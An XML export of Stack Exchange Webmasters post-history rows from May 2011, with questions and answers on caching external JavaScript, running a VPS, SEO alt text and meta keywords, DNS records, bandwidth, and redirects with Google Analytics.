  <row Id="30284" PostHistoryTypeId="2" PostId="13164" RevisionGUID="83dbcc1b-10be-472f-8e6e-3ef0cb0d922b" CreationDate="2011-05-01T11:50:55.030" UserId="6113" Text="There are two additional reasons for external JS files.&#xD;&#xA;&#xD;&#xA;1. Caching. Once an external JS file is downloaded by the browser for the first time, it stays in browser's cache and the same code does not have to be downloaded every time a visitor reaches a page that she has not opened &#xD;&#xA;&#xD;&#xA;2. Code management. If you want to change your script, you do it once, by modifying the JS file. The same effect may be obtained by server-side inclusion directly into an HTML document but the advantage of caching (point (1)) is not there anymore." />
  <row Id="30285" PostHistoryTypeId="2" PostId="13165" RevisionGUID="f03aa661-058e-4adc-b676-dd62670e1dd1" CreationDate="2011-05-01T12:07:14.423" UserId="7198" Text="Other reasons to keep JavaScript in external files:&#xD;&#xA;&#xD;&#xA;1. Pages usually load faster because JavaScript and stylesheets are [cached by the browser.][1]  &#xD;&#xA;2. Checking for scripting errors with [JSLint][2] becomes easier.  &#xD;&#xA;3. Code reuse between pages becomes simple.  &#xD;&#xA;4. Minifying JavaScript to reduce file size while maintaining non-minified versions for editing is easier.  &#xD;&#xA;5. Centralised hosting of common files becomes possible. (e.g. [Google Libraries API][3] )&#xD;&#xA;&#xD;&#xA;Note that using JavaScript should make little difference to SEO (externally or internally) unless:&#xD;&#xA;&#xD;&#xA;1. It's being used to generate links or other dynamic content on the page.&#xD;&#xA;2. Your scripts are so big that they drastically increase page load time.&#xD;&#xA;&#xD;&#xA;In the case of 1, it's best not to create links with client-side JavaScript when you can. In the case of 2, it's good practice to minify stylesheets and JavaScript, then combine files to serve it with as few HTTP requests as possible.&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/blogs/ydn/posts/2007/07/rule_8_make_jav/&#xD;&#xA;  [2]: http://www.jslint.com/&#xD;&#xA;  [3]: http://code.google.com/apis/libraries/" />
  <row Id="30286" PostHistoryTypeId="25" PostId="13163" RevisionGUID="c105e6cf-ba85-4d33-a7ec-a29e6021f939" CreationDate="2011-05-01T12:11:19.413" Comment="http://twitter.com/#!/StackWebmasters/status/64663186045018113" />
  <row Id="30293" PostHistoryTypeId="2" PostId="13168" RevisionGUID="989233b9-d1d1-4d2b-9962-70a354b835b1" CreationDate="2011-05-01T16:36:29.870" UserId="6858" Text="If you include the JavaScript in the HTML, then the user has to download the JavaScript for every page they view that needs it.&#xD;&#xA;&#xD;&#xA;If you make it an external file, then they have to download it once, which is slightly slower than including it in the page, because of the extra HTTP request. However, after that, it will be cached and they don't need to download it again.&#xD;&#xA;&#xD;&#xA;In terms of the impact on SEO, that's the benefit - your site is quicker, which Google rewards greatly.&#xD;&#xA;&#xD;&#xA;This means that if you have a piece of JavaScript that a user is going to need repeatedly, it should be external. If it's a one-off, you should include it on the page to reduce the number of HTTP requests.&#xD;&#xA;&#xD;&#xA;Examples of where on-page JavaScript could be beneficial:&#xD;&#xA;&#xD;&#xA;* Arbitrage advertising sites, which typically pull a user in and bounce them out again. The user is typically not going to browse around. However, if you expect the user to come back again, you probably should make the JavaScript external so that it's cached when they return.&#xD;&#xA;* One-page sites. The same caveat applies as to arbitrage sites.&#xD;&#xA;* Pages which use a completely different set of JavaScript to every other page on your site. If, for example, you have a JavaScript slider on a particular page on your website and most of your visitors only look at that page once, then including the JavaScript in the header will probably be worth it for the SEO.&#xD;&#xA;&#xD;&#xA;For code management, you are still best to develop with the code in an external file and then use a deployment script to grab the code and insert it for the production version of your code.&#xD;&#xA;&#xD;&#xA;Finally, shared libraries like jQuery should always be external, because they will often already be cached in a visitor's browser from another site they visited. " />
  <row Id="30294" PostHistoryTypeId="2" PostId="13169" RevisionGUID="98745b85-c63e-47fe-8f1a-dac63827b56e" CreationDate="2011-05-01T18:03:57.117" UserId="6463" Text="I am looking for insight, because I have the tendency to run full throttle into things with (at times) too much confidence.  To summarize my somewhat lengthy explanation below, I am looking to see if I can handle my own Linode LEMP stack without getting hacked. &#xD;&#xA;&#xD;&#xA;I am starting up a couple of websites for fun, and if all goes well make it a career. I would love to run a few niche sites of my own and then freelance  web dev with web hosting as a package for customers. &#xD;&#xA;&#xD;&#xA;Currently I have a site on a Knownhost WHM VPS. However, I would prefer to work on the console as opposed to running WHM/cPanel. Also I do not really want my clients to have a cPanel, since I am targeting people who &quot;just want it to work&quot;, there are plenty of good hosts with cPanel anyhow.&#xD;&#xA;&#xD;&#xA;Scaling is another issue, I am planning to have a somewhat busy site with 250k+ visits/mo., and I am afraid making the move later will be more painful. &#xD;&#xA;&#xD;&#xA;So I will admit, my linux bash skills are lacking, but are increasing every day. I am currently practicing/studying for the LPIC-1 exams. I have built LAMP and LEMP stacks on my basement server, and they work fine here. Another issue is the lack of documentation of WHM compared to apache, it seems it would be easier to learn apache/nginx.&#xD;&#xA;&#xD;&#xA;I am also planning on using www.vpsbible.com to help me secure the Linode and help me build a LEMP stack with PHP-FPM and X-Cache.&#xD;&#xA;&#xD;&#xA;Anyhow, with all this being said, would I be foolish to start up my own Linode?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30295" PostHistoryTypeId="1" PostId="13169" RevisionGUID="98745b85-c63e-47fe-8f1a-dac63827b56e" CreationDate="2011-05-01T18:03:57.117" UserId="6463" Text="Should I move to Linode?" />
  <row Id="30296" PostHistoryTypeId="3" PostId="13169" RevisionGUID="98745b85-c63e-47fe-8f1a-dac63827b56e" CreationDate="2011-05-01T18:03:57.117" UserId="6463" Text="&lt;vps&gt;" />
  <row Id="30297" PostHistoryTypeId="25" PostId="13169" RevisionGUID="b37598a2-d7e9-4945-8f1d-63e65c423316" CreationDate="2011-05-01T18:11:20.477" Comment="http://twitter.com/#!/StackWebmasters/status/64753786761129984" />
  <row Id="30298" PostHistoryTypeId="2" PostId="13170" RevisionGUID="e886b8a5-d87a-4785-a2ae-eef5a73ec5c6" CreationDate="2011-05-01T18:49:35.680" UserId="7145" Text="If I want my site to be no. 1 for a particular keyword search, would it harm me or help me if I put alt=&quot;keyword&quot; in all of the images I have in the site? Suggestions and explanation are welcomed" />
  <row Id="30299" PostHistoryTypeId="1" PostId="13170" RevisionGUID="e886b8a5-d87a-4785-a2ae-eef5a73ec5c6" CreationDate="2011-05-01T18:49:35.680" UserId="7145" Text="alt tag for SEO recommendation" />
  <row Id="30300" PostHistoryTypeId="3" PostId="13170" RevisionGUID="e886b8a5-d87a-4785-a2ae-eef5a73ec5c6" CreationDate="2011-05-01T18:49:35.680" UserId="7145" Text="&lt;seo&gt;&lt;pagerank&gt;" />
  <row Id="30301" PostHistoryTypeId="2" PostId="13171" RevisionGUID="ce1b7a43-87cb-4f1f-9e35-369468987a3f" CreationDate="2011-05-01T19:49:47.820" UserId="6389" Text="No you would not be foolish, or at least you would not be more foolish than many others. I work for a large hosting company and have seen there are many people with unmanaged VPS and dedicated severs running production sites for paying customers with far less knowledge than you. Often it's web design (or worse, marketing) companies who drift into hosting, perhaps they had a techie who left. Ideally all sites would be run by experienced sysadmins but in the real world they are not. The things you have thought about and fact you have asked this question show it's not a crazy idea.&#xD;&#xA;&#xD;&#xA;some practical tips:  &#xD;&#xA;If your going to hacked its going to be through a web application not server misconfiguration. If your hosting sites developed by other people keep this at the front of your mind. PHP-FPM can run worker processes as different UID and GID, you should do this for each site so when one does get hacked the damage is limited.&#xD;&#xA;&#xD;&#xA;VPS bible is really good and worth the paid access. It's about best practice and doing more with less. If you follow the advice your already doing really well don't sweat over the last 5%, for example worrying whether xcache or memcache is faster. These kinds of issue matter if you are deploying to hundreds of servers but you should concentrate on having something working and stable. &#xD;&#xA;&#xD;&#xA;Have a **really** good backup and recovery system in place, so if it does go wrong you can reimage and recover in a couple of hours. a second VPS is really useful for this and you can also use it for development." />
  <row Id="30302" PostHistoryTypeId="2" PostId="13172" RevisionGUID="dbcd243b-6386-44d2-a439-5d96d69d43b8" CreationDate="2011-05-01T19:56:54.667" UserId="4502" Text="It might help you, though probably not nearly as much as you'd like to think.  What's more important is that it would be abuse of what alt text is actually *for*: to serve as a replacement for the image if it doesn't load, and as an accessibility feature for visitors who may be using alternative(eg. screen reader) browsers.  &#xD;&#xA;In other words: don't do this." />
  <row Id="30303" PostHistoryTypeId="2" PostId="13173" RevisionGUID="2db0bdd8-b403-4382-9987-f8de2da6b6cd" CreationDate="2011-05-01T20:02:26.240" UserId="6901" Text="It would help you. Alt tags are how search engines know what an image is about, and including them will help your site get ranked higher in **image** searches. If you don't include alt tags, your site will rank lower in **image** searches. If you want to get traffic from google **images** (and other **image** searches), then you should include alt tags.&#xD;&#xA;&#xD;&#xA;On an somewhat unrelated note, disabled people can't see images, and having an alt tag would help them know what the image is about (they can read the alt tag). If people who can't see images are reading your site, then you should include alt tags to help them out.&#xD;&#xA;&#xD;&#xA;But if you aren't worried about accessibility or **image** searches, then don't bother." />
  <row Id="30304" PostHistoryTypeId="2" PostId="13174" RevisionGUID="4c644a3a-4b60-4f84-8b46-fadb3d7e5447" CreationDate="2011-05-01T20:11:04.363" UserId="6901" Text="Can anyone tell me if there are any services at all that use meta keywords, and if so, what those services are? I know that google doesn't use them, but I'm wondering if anyone else does." />
  <row Id="30305" PostHistoryTypeId="1" PostId="13174" RevisionGUID="4c644a3a-4b60-4f84-8b46-fadb3d7e5447" CreationDate="2011-05-01T20:11:04.363" UserId="6901" Text="dows anyone use meta keywords?" />
  <row Id="30306" PostHistoryTypeId="3" PostId="13174" RevisionGUID="4c644a3a-4b60-4f84-8b46-fadb3d7e5447" CreationDate="2011-05-01T20:11:04.363" UserId="6901" Text="&lt;seo&gt;&lt;meta-keywords&gt;&lt;meta&gt;&lt;metadata&gt;" />
  <row Id="30307" PostHistoryTypeId="5" PostId="13174" RevisionGUID="615a700a-9e7b-474c-b689-969d10608855" CreationDate="2011-05-01T20:20:33.907" UserId="6901" Comment="deleted 7 characters in body; edited title" Text="Can anyone tell me if there are any services that use meta keywords, and if so, what those services are? I know that google doesn't use them, but I'm wondering if anyone else does." />
  <row Id="30308" PostHistoryTypeId="4" PostId="13174" RevisionGUID="615a700a-9e7b-474c-b689-969d10608855" CreationDate="2011-05-01T20:20:33.907" UserId="6901" Comment="deleted 7 characters in body; edited title" Text="Does anyone use meta keywords besides google?" />
  <row Id="30309" PostHistoryTypeId="2" PostId="13175" RevisionGUID="f6c69a73-c723-425f-9224-5e0f77c25522" CreationDate="2011-05-01T20:29:40.797" UserId="7222" Text="Yes, eg. according to http://en.wikipedia.org/wiki/Meta_element Yahoo! still does. But in general, keywords in meta tag are losing significance." />
  <row Id="30310" PostHistoryTypeId="2" PostId="13176" RevisionGUID="3a27c2aa-7f45-4165-a125-07a85396bf94" CreationDate="2011-05-01T20:30:19.260" UserId="7223" Text="I have a website which generates every new user their own unique link (http://website.com/?id=12345). I want to include a click counter to show the user how much times their link has been visited. Does anyone know how to do this?" />
  <row Id="30311" PostHistoryTypeId="1" PostId="13176" RevisionGUID="3a27c2aa-7f45-4165-a125-07a85396bf94" CreationDate="2011-05-01T20:30:19.260" UserId="7223" Text="How to count unique clicks on a php value?" />
  <row Id="30312" PostHistoryTypeId="3" PostId="13176" RevisionGUID="3a27c2aa-7f45-4165-a125-07a85396bf94" CreationDate="2011-05-01T20:30:19.260" UserId="7223" Text="&lt;php&gt;" />
  <row Id="30313" PostHistoryTypeId="2" PostId="13177" RevisionGUID="1b6a7c0f-5ec3-4464-9806-249faa16f6e2" CreationDate="2011-05-01T20:36:35.210" UserId="4502" Text="&lt;blockquote&gt;I know that google doesn't use them&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;While it's pretty much settled that they're of relatively little value overall, this is not necessarily entirely accurate. If you pay attention, almost every time Google deals with this question directly(&lt;a href=&quot;http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html&quot;&gt;example&lt;/a&gt;), what they actually say is that they don't use them for *ranking*. If they were completely tossing them, that qualification wouldn't be necessary.&#xD;&#xA;&#xD;&#xA;There's been evidence that they do *index* the keywords, even if they're not used for ranking. This would still make them useful for things like capturing searches for misspellings of your name, or related terms that don't specifically appear on the page, for example. I can't dig up the link at the moment, but this was tested by one of the search engine blogs some time ago by using a gibberish word created for the test that wasn't returning results previously. It would, of course, be easy enough to test this yourself.&#xD;&#xA;&#xD;&#xA;There are also &lt;a href=&quot;http://www.seroundtable.com/google-meta-keywords-tag-use-12805.html&quot;&gt;cases&lt;/a&gt; where they may end up using those keywords for deeper crawling via forms. (That link is to the main post; then scan for a comment by John Mueller. The Disqus commenting used there is making an anchor link to it flaky.)" />
  <row Id="30314" PostHistoryTypeId="25" PostId="13176" RevisionGUID="4d74ed4a-8182-4cc1-926d-710e40f5f5f1" CreationDate="2011-05-01T21:11:20.643" Comment="http://twitter.com/#!/StackWebmasters/status/64799086435508224" />
  <row Id="30315" PostHistoryTypeId="17" PostId="13179" RevisionGUID="dce0bed5-bb57-4cc3-83e6-055fdb47ae7b" CreationDate="2011-05-01T21:24:42.107" UserId="-1" Comment="from http://stackoverflow.com/questions/5850522/server-10mb-bandwidth-with-a-potential-100mb-outburst/5850593#5850593" Text="" />
  <row Id="30316" PostHistoryTypeId="17" PostId="13180" RevisionGUID="eeeef8d2-e577-48e1-978b-462adba14acf" CreationDate="2011-05-01T21:24:42.107" UserId="-1" Comment="from http://stackoverflow.com/questions/5850522/server-10mb-bandwidth-with-a-potential-100mb-outburst/5851028#5851028" Text="" />
  <row Id="30317" PostHistoryTypeId="2" PostId="13179" RevisionGUID="52fad411-da02-4160-9186-fd46648c0108" CreationDate="2011-05-01T18:59:30.900" UserDisplayName="Zach" Text="Are you talking 10Mbps?&#xD;&#xA;&#xD;&#xA;If so, then accounting for peak hours, lets say you serve 3 users a minute. Depending on the users bandwidth, the multimedia content of your site, and how you load the flash games to the user's computer, 10MB should be more than enough. &#xD;&#xA;&#xD;&#xA;Assuming the page isn't too large you should estimate that you will be delivering about 5 megabytes of content every minute. With a 10Mbps connection, you will be able to deliver 75 megabytes per minute, which is much more than you plan to deliver from your description." />
  <row Id="30318" PostHistoryTypeId="2" PostId="13180" RevisionGUID="e934cb2b-d503-474a-879e-5f97edb89f39" CreationDate="2011-05-01T20:08:29.603" UserId="6960" Text="GeverGever, the information we have is not sufficient to predict your bandwidth requirements... basically, you have enough bandwidth until you need more.  That sounds like a snarky answer, but there is no other answer to give.&#xD;&#xA;&#xD;&#xA;If you understand how your application interacts with the network, you can do things to influence how much bandwidth you require... this requires usability studies and / or lab testing... &#xD;&#xA;&#xD;&#xA;Ask yourself these questions...&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA; 1. How will users interact with your site?  Are you delivering your browser code and applications efficiently? A simple example... [Use Google's JQuery CDN](http://encosia.com/2008/12/10/3-reasons-why-you-should-let-google-host-jquery-for-you/) to be more bandwidth-efficient; also set META tags in your HEAD to permit object caching, and forbid robots where appropriate.  Compress the images on your site when possible... use http 1.1 w/ gzip...  etc...&#xD;&#xA;&#xD;&#xA; 2.  What will load profile be?  See &#xD;&#xA;http://stackoverflow.com/questions/5669648/tcp-ip-application-keepalive-size-and-bandwidth-overhead/5669835#5669835 for more discussion&#xD;&#xA;&#xD;&#xA;Once you have lab tested, you will have a much better idea of what your load will look like.  Don't forget to add appropriate client WAN delay with something like [wanem](http://wanem.sourceforge.net/)... this will affect the maximum transfer rate your users can get." />
  <row Id="30319" PostHistoryTypeId="2" PostId="13178" RevisionGUID="fc52af90-125f-46d1-9e4e-a46b446adc7b" CreationDate="2011-05-01T18:47:13.880" UserDisplayName="GeverGever" Text="I'm planning to deploy 3 private servers on a web farm. I've got a quote for a hosting package from my ISP, yet it says the server will have 10MB bandwidth with a potential 100MB burst.&#xD;&#xA;    &#xD;&#xA;What does it mean?&#xD;&#xA;I need to serve flash games, each game about ~ 1MB, to 30K unique users a month.&#xD;&#xA;Will it suffice?" />
  <row Id="30320" PostHistoryTypeId="1" PostId="13178" RevisionGUID="fc52af90-125f-46d1-9e4e-a46b446adc7b" CreationDate="2011-05-01T18:47:13.880" UserDisplayName="GeverGever" Text="Server 10MB bandwidth with a potential 100MB outburst" />
  <row Id="30321" PostHistoryTypeId="3" PostId="13178" RevisionGUID="fc52af90-125f-46d1-9e4e-a46b446adc7b" CreationDate="2011-05-01T18:47:13.880" UserDisplayName="GeverGever" Text="&lt;server&gt;&lt;bandwidth&gt;" />
  <row Id="30322" PostHistoryTypeId="17" PostId="13178" RevisionGUID="f4f4f8eb-44b6-4244-a87c-cf9ff14ef05a" CreationDate="2011-05-01T21:24:42.107" UserId="-1" Comment="from http://stackoverflow.com/questions/5850522/server-10mb-bandwidth-with-a-potential-100mb-outburst" Text="" />
  <row Id="30323" PostHistoryTypeId="17" PostId="13182" RevisionGUID="4772163f-b180-490b-81ab-876814679837" CreationDate="2011-05-01T22:03:21.487" UserId="-1" Comment="from http://wordpress.stackexchange.com/questions/16072/how-do-i-create-dns-records/16073#16073" Text="" />
  <row Id="30324" PostHistoryTypeId="17" PostId="13183" RevisionGUID="ff45e9f4-3c7e-4826-8ffc-13f68f6858e2" CreationDate="2011-05-01T22:03:21.487" UserId="-1" Comment="from http://wordpress.stackexchange.com/questions/16072/how-do-i-create-dns-records/16080#16080" Text="" />
  <row Id="30325" PostHistoryTypeId="2" PostId="13182" RevisionGUID="eff9bf1f-2d01-46d0-a140-b2d768c7c8dd" CreationDate="2011-05-01T03:10:55.260" UserId="3214" Text="Add a DNS A record to point the subdomain to the different server's ip address:&#xD;&#xA;&#xD;&#xA;    mydomain.com IN A 321.1.22.55&#xD;&#xA;    blog IN A 123.2.33.45." />
  <row Id="30326" PostHistoryTypeId="2" PostId="13183" RevisionGUID="8a12d702-5f13-4fae-ae89-2be657a69f85" CreationDate="2011-05-01T06:29:19.813" UserDisplayName="xLRDxREVENGEx" Text="Depending on your domain provider most have a dns manager. in a normal setup that is untouched there would be 2 A records&#xD;&#xA;&#xD;&#xA; 1. www @&#xD;&#xA; 2. @ 123.2.42.343 &lt;-- this number is different for every host&#xD;&#xA;&#xD;&#xA;if you used the Heroku nameservers then you need to make sure you setup the domain to use its built in dns manager and create new a records&#xD;&#xA;&#xD;&#xA;Can you post your domain provider and wether or not you are using nameservers or dns manager&#xD;&#xA;&#xD;&#xA;So once your you have access to your dns manager then you would create 1 new record and edit 1 record&#xD;&#xA;&#xD;&#xA;edit your current @ record and point it to the ip address you have at Heroku then create a new a record with the host being blog and the &quot;points to&quot; to your new host ip address and you can leave the ttl at what ever value&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30327" PostHistoryTypeId="2" PostId="13181" RevisionGUID="3ac98d9e-457b-46e8-a8c8-c6e19a0c4f2f" CreationDate="2011-05-01T02:20:33.040" UserDisplayName="Aen Tan" Text="My domain points to a rails app hosted on Heroku. Is it possible to have blog.mydomain.com point to a WordPress installation somewhere else, e.g. Dreamhost?" />
  <row Id="30328" PostHistoryTypeId="1" PostId="13181" RevisionGUID="3ac98d9e-457b-46e8-a8c8-c6e19a0c4f2f" CreationDate="2011-05-01T02:20:33.040" UserDisplayName="Aen Tan" Text="How do I create DNS records" />
  <row Id="30329" PostHistoryTypeId="3" PostId="13181" RevisionGUID="3ac98d9e-457b-46e8-a8c8-c6e19a0c4f2f" CreationDate="2011-05-01T02:20:33.040" UserDisplayName="Aen Tan" Text="&lt;web-hosting&gt;&lt;domains&gt;" />
  <row Id="30330" PostHistoryTypeId="17" PostId="13181" RevisionGUID="4f82f910-943c-4c95-9386-d80b347e05cb" CreationDate="2011-05-01T22:03:21.487" UserId="-1" Comment="from http://wordpress.stackexchange.com/questions/16072/how-do-i-create-dns-records" Text="" />
  <row Id="30331" PostHistoryTypeId="25" PostId="13178" RevisionGUID="8a802d9c-defc-48f6-982a-5f983c91b780" CreationDate="2011-05-02T00:11:21.167" Comment="http://twitter.com/#!/StackWebmasters/status/64844386105692160" />
  <row Id="30332" PostHistoryTypeId="2" PostId="13184" RevisionGUID="504d60b3-3d01-40c2-af2a-8375585b2b0f" CreationDate="2011-05-02T00:54:53.973" UserId="7228" Text="I've been advised that once a site reaches a certain level of traffic it's possible to get more lucrative ad providers on board that give better return than AdSense.&#xD;&#xA;&#xD;&#xA;For a reasonable sized ad above the fold (for example 728x90 or 160x600) what sort of CPM can we expect?&#xD;&#xA;&#xD;&#xA;What level of traffic do we need to achieve before we become attractive to these bigger fish?&#xD;&#xA;&#xD;&#xA;Thanks in advance for any insights you can share,&#xD;&#xA;Gavin" />
  <row Id="30333" PostHistoryTypeId="1" PostId="13184" RevisionGUID="504d60b3-3d01-40c2-af2a-8375585b2b0f" CreationDate="2011-05-02T00:54:53.973" UserId="7228" Text="What CPM can we expect once we outgrow AdSense?" />
  <row Id="30334" PostHistoryTypeId="3" PostId="13184" RevisionGUID="504d60b3-3d01-40c2-af2a-8375585b2b0f" CreationDate="2011-05-02T00:54:53.973" UserId="7228" Text="&lt;advertising&gt;&lt;ads&gt;" />
  <row Id="30335" PostHistoryTypeId="10" PostId="13176" RevisionGUID="bb2422f7-d672-4f1c-8e56-83c9b6c443ec" CreationDate="2011-05-02T01:37:53.657" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="30336" PostHistoryTypeId="2" PostId="13185" RevisionGUID="206663f4-37ac-4d36-b973-27ef4f99e3cc" CreationDate="2011-05-02T02:12:07.260" UserId="7140" Text="Am I able to issue a 302 redirect but leave the URL intact?&#xD;&#xA;&#xD;&#xA;I want to track accesses to a URL in Google Analytics but just display my home page.&#xD;&#xA;&#xD;&#xA;I am doing this on the assumption that Google Analytics tracks the URL in the address bar - is this correct?&#xD;&#xA;&#xD;&#xA;i.e.&#xD;&#xA;&#xD;&#xA;www.domain.com/landingpage&#xD;&#xA;&#xD;&#xA;google sees URL of www.domain.com/landingpage&#xD;&#xA;&#xD;&#xA;user sees content from www.domain.com (home page)&#xD;&#xA;" />
  <row Id="30337" PostHistoryTypeId="1" PostId="13185" RevisionGUID="206663f4-37ac-4d36-b973-27ef4f99e3cc" CreationDate="2011-05-02T02:12:07.260" UserId="7140" Text="302 redirect but leave the url intact" />
  <row Id="30338" PostHistoryTypeId="3" PostId="13185" RevisionGUID="206663f4-37ac-4d36-b973-27ef4f99e3cc" CreationDate="2011-05-02T02:12:07.260" UserId="7140" Text="&lt;redirects&gt;&lt;htaccess&gt;" />
  <row Id="30339" PostHistoryTypeId="2" PostId="13186" RevisionGUID="875b7025-2f9a-4d94-8db3-243c0d784595" CreationDate="2011-05-02T02:22:52.660" UserId="108" Text="To begin with, a 302 redirect does not do what you want on a functional level.  A correct 302 redirect will actually redirect you from www.domain.com/landingpage to www.domain.com.  That means the user will see www.domain.com in the address bar and Google will as well.&#xD;&#xA;&#xD;&#xA;In order for you to have two URLs with the same content you would need to duplicate the content which is bad from an SEO standpoint for 2 reasons:&#xD;&#xA;&#xD;&#xA; 1. Google will see it as duplicate content and possibly mark it as spam or just downgrade it for being duplicate&#xD;&#xA; 2. Both www.domain.com/landingpage and www.domain.com will compete with each other for the same keywords and SERPs which means you essentially split the SEO value of your pages in half.&#xD;&#xA;&#xD;&#xA;In general if you want someone to go to www.domain.com/landingpage and see the content on www.domain.com you would do a 301 redirect which is a permanent redirect.&#xD;&#xA;&#xD;&#xA;The other solution is to use a canonical link tag like this, `&lt;link rel='canonical' href='http://www.domain.com/' /&gt;` on the page, www.domain.com/landingpage.  This works because it tells Google that the content is duplicate or very similar and which page is the correct page to show when someone searches for terms found on both pages and at the same time lets you use  www.domain.com/landingpage as a landing page for paid ads for example.&#xD;&#xA;&#xD;&#xA;A 302 redirect is generally for temporary redirects or redirects for unspecified reasons. In general Google does not give you any benefit for 302 redirects. &#xD;&#xA;&#xD;&#xA;See this, http://en.wikipedia.org/wiki/302_redirect#HTTP_status_codes_3xx for more info on what all redirect types mean." />
  <row Id="30340" PostHistoryTypeId="2" PostId="13187" RevisionGUID="381c9cdc-764a-4f47-9b73-7219b210d1d1" CreationDate="2011-05-02T01:44:20.293" UserDisplayName="Dave" Text="Suppose I have the website **www.example.com** and **www.example2.com**. I redirect all page requests from **www.example2.com** to their corresponding pages at **www.example.com**. Is there a way for Google Analytics to track visits at **www.example2.com**?&#xD;&#xA;&#xD;&#xA;I read http://www.google.com/support/analytics/bin/answer.py?answer=55503 and suggested to add tracking code to the links on my second domain (**www.example2.com**). However, I don't have pages in my second domain as it always redirects to the other one.&#xD;&#xA;&#xD;&#xA;Is it possible to track multiple domains this way?&#xD;&#xA;&#xD;&#xA; " />
  <row Id="30341" PostHistoryTypeId="1" PostId="13187" RevisionGUID="381c9cdc-764a-4f47-9b73-7219b210d1d1" CreationDate="2011-05-02T01:44:20.293" UserDisplayName="Dave" Text="Google Analytics: Tracking multiple domain names of one website" />
  <row Id="30342" PostHistoryTypeId="3" PostId="13187" RevisionGUID="381c9cdc-764a-4f47-9b73-7219b210d1d1" CreationDate="2011-05-02T01:44:20.293" UserDisplayName="Dave" Text="&lt;javascript&gt;&lt;google&gt;&lt;seo&gt;&lt;analytics&gt;&lt;tracking&gt;" />
  <row Id="30343" PostHistoryTypeId="17" PostId="13187" RevisionGUID="fa9b03ee-b1ff-4ac8-a6ca-e71af69b7ee1" CreationDate="2011-05-02T02:25:49.610" UserId="-1" Comment="from http://stackoverflow.com/questions/5852824/google-analytics-tracking-multiple-domain-names-of-one-website" Text="" />
  <row Id="30344" PostHistoryTypeId="25" PostId="13185" RevisionGUID="2788f8f7-d6ee-4635-bba2-df0917bd2aa2" CreationDate="2011-05-02T03:11:20.683" Comment="http://twitter.com/#!/StackWebmasters/status/64889683011846144" />
  <row Id="30345" PostHistoryTypeId="6" PostId="13187" RevisionGUID="f77e8a88-a509-4960-b58e-e1a7ee0f7a23" CreationDate="2011-05-02T03:15:02.550" UserId="1253" Comment="edited tags" Text="&lt;google&gt;&lt;analytics&gt;&lt;tracking&gt;" />
  <row Id="30349" PostHistoryTypeId="2" PostId="13188" RevisionGUID="a2cfc415-9e60-4691-a34a-6c6c36e99f28" CreationDate="2011-05-02T04:20:29.563" UserId="7230" Text="This is my experience with crawl errol by robots.txt. A few months ago i've found the message like &quot;URL restricted by robots.txt&quot;, my site is Blogger (*.blogspot.com). I ask my problem to Google Webmaster and they send me the answer about my robots txt as you can read :&#xD;&#xA;&#xD;&#xA;- **rayhanzhampiet.blogspot.com :**&#xD;&#xA;&#xD;&#xA;&quot;Google was unable to crawl the URL due to a robots.txt restriction: your robots.txt file might prohibit the Googlebot entirely; it might prohibit access to the directory in which this URL is located; or it might prohibit access to the URL specifically. Often, this is not an error&quot;&#xD;&#xA;can anybody tell me how can i cancel the robots.txt restriction?&#xD;&#xA;&#xD;&#xA;- **Top Contributor Webmaster Help :**&#xD;&#xA;&#xD;&#xA;Hey rayhanzhampiet,&#xD;&#xA;i guess we are dealing with your blog on blogger*com (blogspot*com)? If so you don't need to do anything about robots.txt restrictions.,&#xD;&#xA;&#xD;&#xA;This is your robots.txt:&#xD;&#xA;User-agent: Mediapartners-Google&#xD;&#xA;Disallow:&#xD;&#xA;&#xD;&#xA;User-agent: *&#xD;&#xA;Disallow: /search -- si only restricts duplicated stuff that not even you want to have indexed&#xD;&#xA;keep cool, see all URLs restricted have /search/ in their path as specified in your robots.txt?&#xD;&#xA;&#xD;&#xA;They are restricted because they duplicate what is already seen in posts and on the homepage, for example here:&#xD;&#xA;&#xD;&#xA;http://rayhanzhampiet.blogspot.com/search/label/Tips-Blogging&#xD;&#xA;You recognize having seen all this before --&gt; on your original posts which are not restricted and thus indexed ;-)&#xD;&#xA;&#xD;&#xA;/search/ has to be restricted to avoid duplication in the index, and, as I said, you even want to restrict them for robots for your own sake. This restriction is done by default on blogspot*com (and domains that use blogger like yours, of course) and does not need to be resolved in any way, it's not an error (messages in webmastertools are diagnostic only here).&#xD;&#xA;&#xD;&#xA;I hope the people (blogger) who have a problem with robots.txt like me will known that they dont need to be resolved.&#xD;&#xA;&#xD;&#xA;Thanks to Pro Webmasters,  " />
  <row Id="30350" PostHistoryTypeId="25" PostId="13170" RevisionGUID="5d1a85f7-2eac-4fc7-a4a5-6e0158fa30b5" CreationDate="2011-05-02T06:11:20.460" Comment="http://twitter.com/#!/StackWebmasters/status/64934981193048064" />
  <row Id="30351" PostHistoryTypeId="2" PostId="13189" RevisionGUID="9727acbf-454d-4dc8-bea1-7c1bddae6dc5" CreationDate="2011-05-02T08:09:24.127" UserId="1064" Text="You could treat your redirecting domain as a [campaign][1] and append campaign variables to the redirected URL.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;`http://www.example2.com/page/`&#xD;&#xA;&#xD;&#xA;... could redirect to:&#xD;&#xA;&#xD;&#xA;`http://www.example.com/page/?utm_source=example2.com&amp;utm_medium=Redirect&amp;utm_campaign=Redirects`&#xD;&#xA;&#xD;&#xA;(i.e. your redirect would always append the `?utm_source=example2.com&amp;utm_medium=Redirect&amp;utm_campaign=Redirects` query to instruct Google Analytics to track the hit as a campaign link; the downside to this method is that, should the visitor share the link with the appended query string, other hits which are not necessarily redirects would appear under the Redirects campaign)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?answer=55578" />
  <row Id="30352" PostHistoryTypeId="6" PostId="13184" RevisionGUID="58f4127c-7f17-46a7-bdb9-a94ec470a81d" CreationDate="2011-05-02T09:05:49.570" UserId="5013" Comment="edited tags" Text="&lt;advertising&gt;&lt;google-adsense&gt;&lt;ads&gt;&lt;cpm&gt;" />
